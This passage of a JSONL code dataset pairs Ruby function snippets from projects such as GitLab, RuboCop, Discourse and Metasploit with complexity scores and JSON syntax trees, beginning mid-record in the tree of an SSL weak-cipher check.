\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cipher_name\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_length\"]}]},{\"type\":\"str\",\"children\":[\" bits)\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"is_weak\"]},{\"type\":\"str\",\"children\":[\" - WEAK\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"check_vulnerabilities_enhanced\",{\"type\":\"lvar\",\"children\":[\"ip\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"to_s\"]},{\"type\":\"lvar\",\"children\":[\"cipher_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scan_result\"]},\"cert\"]},{\"type\":\"lvar\",\"children\":[\"is_weak\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"weak_ciphers\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scan_result\"]},\"weak_ciphers\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"weak_ciphers\"]},\"any?\"]},{\"type\":\"send\",\"children\":[null,\"print_bad\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"weak_ciphers\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" weak cipher(s) detected\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"store_rex_sslscan_results\",{\"type\":\"lvar\",\"children\":[\"ip\"]},{\"type\":\"lvar\",\"children\":[\"scan_result\"]}]}]}]}","id":"62f3a8ef-0022-44f3-a44e-fd22f7718c8b"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/accessor_grouping.rb","start_line":203,"raw_source":"def range_with_trailing_argument_comment(node)\n          comment = processed_source.ast_with_comments[node.last_argument].last\n          if comment\n            add_range(node.source_range, comment.source_range)\n          else\n            node\n          end\n        end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"range_with_trailing_argument_comment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"comment\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"ast_with_comments\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"last_argument\"]}]},\"last\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},{\"type\":\"send\",\"children\":[null,\"add_range\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source_range\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"source_range\"]}]},{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}","id":"3caea68b-5454-4390-8b0b-75dffa59b3ea"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/external_authorization/access.rb","start_line":12,"raw_source":"def initialize(user, label)\n        @user = user\n        @label = label\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"label\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@label\",{\"type\":\"lvar\",\"children\":[\"label\"]}]}]}]}","id":"b0e46006-5372-437b-9dbf-49677e90d24d"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/projects/unarchive_service.rb","start_line":36,"raw_source":"def initialize(user:, model:, contract_class: Projects::UnarchiveContract)\n      super(user:, contract_class:)\n      self.model = model\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"user\"]},{\"type\":\"kwarg\",\"children\":[\"model\"]},{\"type\":\"kwoptarg\",\"children\":[\"contract_class\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Projects\"]},\"UnarchiveContract\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"contract_class\"]},{\"type\":\"lvar\",\"children\":[\"contract_class\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"model=\",{\"type\":\"lvar\",\"children\":[\"model\"]}]}]}]}","id":"b3042b7f-9534-4bff-bf3c-43ce4a159222"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/generators/doorkeeper/application_owner_generator.rb","start_line":15,"raw_source":"def application_owner\n      migration_template(\n        \"add_owner_to_application_migration.rb.erb\",\n        \"db/migrate/add_owner_to_application.rb\",\n        migration_version: migration_version,\n      )\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"application_owner\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"migration_template\",{\"type\":\"str\",\"children\":[\"add_owner_to_application_migration.rb.erb\"]},{\"type\":\"str\",\"children\":[\"db/migrate/add_owner_to_application.rb\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"migration_version\"]},{\"type\":\"send\",\"children\":[null,\"migration_version\"]}]}]}]}]}","id":"ec1a77e1-0007-4f9c-8434-616b873fa085"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/sharepoint/storage_file_transformer.rb","start_line":66,"raw_source":"def bare_transform(json)\n            Results::StorageFile.new(\n              name: json[:name],\n              id: compose_id(json),\n              location: extract_location(json),\n              permissions: %i[readable writeable]\n            )\n          end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"bare_transform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"json\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Results\"]},\"StorageFile\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"compose_id\",{\"type\":\"lvar\",\"children\":[\"json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"location\"]},{\"type\":\"send\",\"children\":[null,\"extract_location\",{\"type\":\"lvar\",\"children\":[\"json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"permissions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"readable\"]},{\"type\":\"sym\",\"children\":[\"writeable\"]}]}]}]}]}]}","id":"152e1df2-cacf-4af3-a558-acf9363fc6c5"}
{"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/parse_context.rb","start_line":72,"raw_source":"def partial=(value)\n      @partial = value\n      @options = value ? partial_options : @template_options\n\n      @error_mode = @options[:error_mode] || @environment.error_mode\n    end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"partial=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@partial\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@options\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[null,\"partial_options\"]},{\"type\":\"ivar\",\"children\":[\"@template_options\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@error_mode\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"error_mode\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@environment\"]},\"error_mode\"]}]}]}]}]}","id":"8f32ed44-0781-4166-9b71-c5a3f3364b21"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/enums/ci/pipeline.rb","start_line":36,"raw_source":"def self.sources\n        {\n          unknown: nil,\n          push: 1,\n          web: 2,\n          trigger: 3,\n          schedule: 4,\n          api: 5,\n          external: 6,\n          pipeline: 7,\n          chat: 8,\n          webide: 9,\n          merge_request_event: 10,\n          external_pull_request_event: 11,\n          parent_pipeline: 12,\n          ondemand_dast_scan: 13,\n          ondemand_dast_validation: 14,\n          security_orchestration_policy: 15,\n          container_registry_push: 16,\n          duo_workflow: 17,\n          pipeline_execution_policy_schedule: 18\n        }\n      end","complexity_score":4.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sources\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unknown\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"push\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"web\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"trigger\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"schedule\"]},{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"api\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"external\"]},{\"type\":\"int\",\"children\":[6]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pipeline\"]},{\"type\":\"int\",\"children\":[7]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chat\"]},{\"type\":\"int\",\"children\":[8]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"webide\"]},{\"type\":\"int\",\"children\":[9]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_request_event\"]},{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"external_pull_request_event\"]},{\"type\":\"int\",\"children\":[11]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent_pipeline\"]},{\"type\":\"int\",\"children\":[12]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ondemand_dast_scan\"]},{\"type\":\"int\",\"children\":[13]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ondemand_dast_validation\"]},{\"type\":\"int\",\"children\":[14]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"security_orchestration_policy\"]},{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container_registry_push\"]},{\"type\":\"int\",\"children\":[16]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"duo_workflow\"]},{\"type\":\"int\",\"children\":[17]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pipeline_execution_policy_schedule\"]},{\"type\":\"int\",\"children\":[18]}]}]}]}","id":"8254a2fd-c27f-43fe-aa2a-b3174d9725de"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/notifications/consolidate_notifications.rb","start_line":153,"raw_source":"def user_notifications(notification, type)\n      notifications = super(notification, type)\n\n      if consolidation_window.present?\n        notifications = notifications.where(\"created_at > ?\", consolidation_window.ago)\n      end\n\n      notifications\n    end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"user_notifications\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"notification\"]},{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"notifications\",{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification\"]},{\"type\":\"lvar\",\"children\":[\"type\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"consolidation_window\"]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"notifications\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notifications\"]},\"where\",{\"type\":\"str\",\"children\":[\"created_at > ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"consolidation_window\"]},\"ago\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"notifications\"]}]}]}","id":"e9e20982-b760-487a-84db-e399c49780da"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20200917154234_validate_missing_foreign_keys_to_feedback_messages_notes_tags_users_roles.rb","start_line":2,"raw_source":"def change\n    validate_foreign_key :feedback_messages, :users, column: :affected_id\n    validate_foreign_key :feedback_messages, :users, column: :offender_id\n    validate_foreign_key :feedback_messages, :users, column: :reporter_id\n\n    validate_foreign_key :notes, :users, column: :author_id\n\n    validate_foreign_key :tags, :badges\n    validate_foreign_key :tags, :chat_channels, column: :mod_chat_channel_id\n\n    validate_foreign_key :users_roles, :roles\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_foreign_key\",{\"type\":\"sym\",\"children\":[\"feedback_messages\"]},{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"affected_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"validate_foreign_key\",{\"type\":\"sym\",\"children\":[\"feedback_messages\"]},{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"offender_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"validate_foreign_key\",{\"type\":\"sym\",\"children\":[\"feedback_messages\"]},{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"reporter_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"validate_foreign_key\",{\"type\":\"sym\",\"children\":[\"notes\"]},{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"author_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"validate_foreign_key\",{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"sym\",\"children\":[\"badges\"]}]},{\"type\":\"send\",\"children\":[null,\"validate_foreign_key\",{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"sym\",\"children\":[\"chat_channels\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"mod_chat_channel_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"validate_foreign_key\",{\"type\":\"sym\",\"children\":[\"users_roles\"]},{\"type\":\"sym\",\"children\":[\"roles\"]}]}]}]}","id":"7e7ecaf5-991f-4b88-9db7-19775fb6fe69"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/portal/app.rb","start_line":159,"raw_source":"def details\n        app = client.details_for_app(self)\n        self.class.factory(app)\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"details\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"app\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"details_for_app\",{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"factory\",{\"type\":\"lvar\",\"children\":[\"app\"]}]}]}]}","id":"4f90c070-8b82-412e-b56d-bbe9a38f5780"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250918163158_update_organization_push_rules_sync_triggers_to_include_push_rule_id.rb","start_line":12,"raw_source":"def up\n    # rubocop:disable Migration/WithLockRetriesDisallowedMethod -- Need this here\n    # More details - https://gitlab.com/gitlab-org/gitlab/-/merge_requests/188143#note_2493525239\n    with_lock_retries do\n      drop_trigger(:push_rules, SYNC_TRIGGER_NAME)\n    end\n    # rubocop:enable Migration/WithLockRetriesDisallowedMethod\n\n    drop_function(SYNC_FUNCTION_NAME)\n\n    # We need to populate organization_push_rules when push_rules are created or updated\n    # this time, we support ID preservation from the push_rules table\n    with_lock_retries do\n      execute(<<~SQL)\n        CREATE OR REPLACE FUNCTION #{SYNC_FUNCTION_NAME}()\n          RETURNS TRIGGER\n          LANGUAGE plpgsql\n        AS $$\n         BEGIN\n            IF (NEW.organization_id IS NOT NULL AND NEW.is_sample = TRUE) THEN\n              INSERT INTO organization_push_rules (\n                id,\n                organization_id,\n                max_file_size,\n                member_check,\n                prevent_secrets,\n                reject_unsigned_commits,\n                commit_committer_check,\n                deny_delete_tag,\n                reject_non_dco_commits,\n                commit_committer_name_check,\n                commit_message_regex,\n                branch_name_regex,\n                commit_message_negative_regex,\n                author_email_regex,\n                file_name_regex,\n                created_at,\n                updated_at\n              ) VALUES (\n                NEW.id,\n                NEW.organization_id,\n                NEW.max_file_size,\n                NEW.member_check,\n                NEW.prevent_secrets,\n                NEW.reject_unsigned_commits,\n                NEW.commit_committer_check,\n                NEW.deny_delete_tag,\n                NEW.reject_non_dco_commits,\n                NEW.commit_committer_name_check,\n                NEW.commit_message_regex,\n                NEW.branch_name_regex,\n                NEW.commit_message_negative_regex,\n                NEW.author_email_regex,\n                NEW.file_name_regex,\n                NEW.created_at,\n                NEW.updated_at\n              )\n              ON CONFLICT (organization_id) DO UPDATE SET\n                id = NEW.id,\n                max_file_size = NEW.max_file_size,\n                member_check = NEW.member_check,\n                prevent_secrets = NEW.prevent_secrets,\n                reject_unsigned_commits = NEW.reject_unsigned_commits,\n                commit_committer_check = NEW.commit_committer_check,\n                deny_delete_tag = NEW.deny_delete_tag,\n                reject_non_dco_commits = NEW.reject_non_dco_commits,\n                commit_committer_name_check = NEW.commit_committer_name_check,\n                commit_message_regex = NEW.commit_message_regex,\n                branch_name_regex = NEW.branch_name_regex,\n                commit_message_negative_regex = NEW.commit_message_negative_regex,\n                author_email_regex = NEW.author_email_regex,\n                file_name_regex = NEW.file_name_regex,\n                updated_at = NEW.updated_at;\n            END IF;\n           RETURN NEW;\n          END;\n         $$\n      SQL\n    end\n\n    # Create the trigger for INSERT and UPDATE operations\n    with_lock_retries do\n      execute(<<~SQL)\n        CREATE TRIGGER #{SYNC_TRIGGER_NAME}\n        AFTER INSERT OR UPDATE ON push_rules\n        FOR EACH ROW\n        EXECUTE FUNCTION #{SYNC_FUNCTION_NAME}();\n      SQL\n    end\n  end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"drop_trigger\",{\"type\":\"sym\",\"children\":[\"push_rules\"]},{\"type\":\"const\",\"children\":[null,\"SYNC_TRIGGER_NAME\"]}]}]},{\"type\":\"send\",\"children\":[null,\"drop_function\",{\"type\":\"const\",\"children\":[null,\"SYNC_FUNCTION_NAME\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CREATE OR REPLACE FUNCTION \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SYNC_FUNCTION_NAME\"]}]},{\"type\":\"str\",\"children\":[\"()\\n\"]},{\"type\":\"str\",\"children\":[\"  RETURNS TRIGGER\\n\"]},{\"type\":\"str\",\"children\":[\"  LANGUAGE plpgsql\\n\"]},{\"type\":\"str\",\"children\":[\"AS $$\\n\"]},{\"type\":\"str\",\"children\":[\" BEGIN\\n\"]},{\"type\":\"str\",\"children\":[\"    IF (NEW.organization_id IS NOT NULL AND NEW.is_sample = TRUE) THEN\\n\"]},{\"type\":\"str\",\"children\":[\"      INSERT INTO organization_push_rules (\\n\"]},{\"type\":\"str\",\"children\":[\"        id,\\n\"]},{\"type\":\"str\",\"children\":[\"        organization_id,\\n\"]},{\"type\":\"str\",\"children\":[\"        max_file_size,\\n\"]},{\"type\":\"str\",\"children\":[\"        member_check,\\n\"]},{\"type\":\"str\",\"children\":[\"        prevent_secrets,\\n\"]},{\"type\":\"str\",\"children\":[\"        reject_unsigned_commits,\\n\"]},{\"type\":\"str\",\"children\":[\"        commit_committer_check,\\n\"]},{\"type\":\"str\",\"children\":[\"        deny_delete_tag,\\n\"]},{\"type\":\"str\",\"children\":[\"        reject_non_dco_commits,\\n\"]},{\"type\":\"str\",\"children\":[\"        commit_committer_name_check,\\n\"]},{\"type\":\"str\",\"children\":[\"        commit_message_regex,\\n\"]},{\"type\":\"str\",\"children\":[\"        branch_name_regex,\\n\"]},{\"type\":\"str\",\"children\":[\"        commit_message_negative_regex,\\n\"]},{\"type\":\"str\",\"children\":[\"        author_email_regex,\\n\"]},{\"type\":\"str\",\"children\":[\"        file_name_regex,\\n\"]},{\"type\":\"str\",\"children\":[\"        created_at,\\n\"]},{\"type\":\"str\",\"children\":[\"        updated_at\\n\"]},{\"type\":\"str\",\"children\":[\"      ) VALUES (\\n\"]},{\"type\":\"str\",\"children\":[\"        NEW.id,\\n\"]},{\"type\":\"str\",\"children\":[\"        NEW.organization_id,\\n\"]},{\"type\":\"str\",\"children\":[\"        NEW.max_file_size,\\n\"]},{\"type\":\"str\",\"children\":[\"        NEW.member_check,\\n\"]},{\"type\":\"str\",\"children\":[\"        NEW.prevent_secrets,\\n\"]},{\"type\":\"str\",\"children\":[\"        NEW.reject_unsigned_commits,\\n\"]},{\"type\":\"str\",\"children\":[\"        NEW.commit_committer_check,\\n\"]},{\"type\":\"str\",\"children\":[\"        NEW.deny_delete_tag,\\n\"]},{\"type\":\"str\",\"children\":[\"        NEW.reject_non_dco_commits,\\n\"]},{\"type\":\"str\",\"children\":[\"        NEW.commit_committer_name_check,\\n\"]},{\"type\":\"str\",\"children\":[\"        NEW.commit_message_regex,\\n\"]},{\"type\":\"str\",\"children\":[\"        NEW.branch_name_regex,\\n\"]},{\"type\":\"str\",\"children\":[\"        NEW.commit_message_negative_regex,\\n\"]},{\"type\":\"str\",\"children\":[\"        NEW.author_email_regex,\\n\"]},{\"type\":\"str\",\"children\":[\"        NEW.file_name_regex,\\n\"]},{\"type\":\"str\",\"children\":[\"        NEW.created_at,\\n\"]},{\"type\":\"str\",\"children\":[\"        NEW.updated_at\\n\"]},{\"type\":\"str\",\"children\":[\"      )\\n\"]},{\"type\":\"str\",\"children\":[\"      ON CONFLICT (organization_id) DO UPDATE SET\\n\"]},{\"type\":\"str\",\"children\":[\"        id = NEW.id,\\n\"]},{\"type\":\"str\",\"children\":[\"        max_file_size = NEW.max_file_size,\\n\"]},{\"type\":\"str\",\"children\":[\"        member_check = NEW.member_check,\\n\"]},{\"type\":\"str\",\"children\":[\"        prevent_secrets = NEW.prevent_secrets,\\n\"]},{\"type\":\"str\",\"children\":[\"        reject_unsigned_commits = NEW.reject_unsigned_commits,\\n\"]},{\"type\":\"str\",\"children\":[\"        commit_committer_check = NEW.commit_committer_check,\\n\"]},{\"type\":\"str\",\"children\":[\"        deny_delete_tag = NEW.deny_delete_tag,\\n\"]},{\"type\":\"str\",\"children\":[\"        reject_non_dco_commits = NEW.reject_non_dco_commits,\\n\"]},{\"type\":\"str\",\"children\":[\"        commit_committer_name_check = NEW.commit_committer_name_check,\\n\"]},{\"type\":\"str\",\"children\":[\"        commit_message_regex = NEW.commit_message_regex,\\n\"]},{\"type\":\"str\",\"children\":[\"        branch_name_regex = NEW.branch_name_regex,\\n\"]},{\"type\":\"str\",\"children\":[\"        commit_message_negative_regex = NEW.commit_message_negative_regex,\\n\"]},{\"type\":\"str\",\"children\":[\"        author_email_regex = NEW.author_email_regex,\\n\"]},{\"type\":\"str\",\"children\":[\"        file_name_regex = NEW.file_name_regex,\\n\"]},{\"type\":\"str\",\"children\":[\"        updated_at = NEW.updated_at;\\n\"]},{\"type\":\"str\",\"children\":[\"    END IF;\\n\"]},{\"type\":\"str\",\"children\":[\"   RETURN NEW;\\n\"]},{\"type\":\"str\",\"children\":[\"  END;\\n\"]},{\"type\":\"str\",\"children\":[\" $$\\n\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CREATE TRIGGER \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SYNC_TRIGGER_NAME\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"AFTER INSERT OR UPDATE ON push_rules\\n\"]},{\"type\":\"str\",\"children\":[\"FOR EACH ROW\\n\"]},{\"type\":\"str\",\"children\":[\"EXECUTE FUNCTION \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SYNC_FUNCTION_NAME\"]}]},{\"type\":\"str\",\"children\":[\"();\\n\"]}]}]}]}]}]}","id":"8a3e437b-2a4e-4315-9a66-a6f0cc739eb9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/rpc/v10/rpc_db.rb","start_line":688,"raw_source":"def rpc_add_workspace(wspace)\n  ::ApplicationRecord.connection_pool.with_connection {\n    db_check\n    wspace = self.framework.db.add_workspace(wspace)\n    return { 'result' => 'success' } if wspace\n    { 'result' => 'failed' }\n  }\n  end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"rpc_add_workspace\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"wspace\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ApplicationRecord\"]},\"connection_pool\"]},\"with_connection\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_check\"]},{\"type\":\"lvasgn\",\"children\":[\"wspace\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"framework\"]},\"db\"]},\"add_workspace\",{\"type\":\"lvar\",\"children\":[\"wspace\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wspace\"]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"result\"]},{\"type\":\"str\",\"children\":[\"success\"]}]}]}]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"result\"]},{\"type\":\"str\",\"children\":[\"failed\"]}]}]}]}]}]}","id":"47dc1f5e-e8ff-42f2-8029-6bc1f0b40cd4"}
